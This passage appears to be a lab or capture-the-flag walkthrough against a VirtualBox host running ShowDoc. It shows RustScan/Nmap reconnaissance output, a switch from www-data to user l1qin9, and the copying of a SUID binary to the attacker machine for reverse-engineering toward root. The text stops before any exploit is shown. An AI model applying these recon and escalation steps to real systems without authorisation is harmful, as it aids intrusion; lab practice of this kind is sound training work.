┌──(root㉿Eecho)-[/tmp/aaaa] └─# rustscan -a 192.168.100.60 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I scanned my computer so many times, it thinks we're dating.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.60:22 Open 192.168.100.60:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.60 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-27 14:35 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 14:35 Completed NSE at 14:35, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 14:35 Completed NSE at 14:35, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 14:35 Completed NSE at 14:35, 0.00s elapsed Initiating ARP Ping Scan at 14:35 Scanning 192.168.100.60 [1 port] Completed ARP Ping Scan at 14:35, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:35 Completed Parallel DNS resolution of 1 host. at 14:35, 4.00s elapsed DNS resolution of 1 IPs took 4.00s. Mode: Async [#: 2, OK: 0, NX: 0, DR: 1, SF: 0, TR: 4, CN: 0] Initiating SYN Stealth Scan at 14:35 Scanning 192.168.100.60 [2 ports] Discovered open port 80/tcp on 192.168.100.60 Discovered open port 22/tcp on 192.168.100.60 Completed SYN Stealth Scan at 14:35, 0.02s elapsed (2 total ports) Initiating Service scan at 14:35 Scanning 2 services on 192.168.100.60 Completed Service scan at 14:35, 6.08s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.100.60 NSE: Script scanning 192.168.100.60. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 14:35 Completed NSE at 14:35, 0.35s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 14:35 Completed NSE at 14:35, 0.02s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 14:35 Completed NSE at 14:35, 0.00s elapsed Nmap scan report for 192.168.100.60 Host is up, received arp-response (0.00070s latency). Scanned at 2026-04-27 14:35:29 CST for 7s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.66 ((Debian)) |_http-favicon: Unknown favicon MD5: 1FBC02DC6F980F075779049BF687128A | http-title: ShowDoc |_Requested resource was ./web/#/ |_http-server-header: Apache/2.4.66 (Debian) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-robots.txt: 1 disallowed entry |_/ MAC Address: 08:00:27:92:1C:00 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=4/27%OT=22%CT=%CU=37168%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=69EF03B8%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=2%ISR=110%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S)
Uptime guess: 11.268 days (since Thu Apr 16 08:09:49 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=256 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.70 ms 192.168.100.60
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 14:35 Completed NSE at 14:35, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 14:35 Completed NSE at 14:35, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 14:35 Completed NSE at 14:35, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.10 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
www-data@Show:~/html$ su l1qin9 Password: l1qin9@Show:/var/www/html$ id uid=1001(l1qin9) gid=1001(l1qin9) groups=1001(l1qin9),100(users) l1qin9@Show:/var/www/html$
l1qin9 -> root
在家目录下有个SUID权限的执行文件,get下来使用ida分析
1 2 3 4 5 6 7 8 9 10
l1qin9@Show:~$ scp auth_monitor root@192.168.100.49:/tmp/aaaa The authenticity of host '192.168.100.49 (192.168.100.49)' can't be established. ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:1: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.100.49' (ED25519) to the list of known hosts. root@192.168.100.49's password: auth_monitor 100% 16KB 5.9MB/s 00:00 l1qin9@Show:~$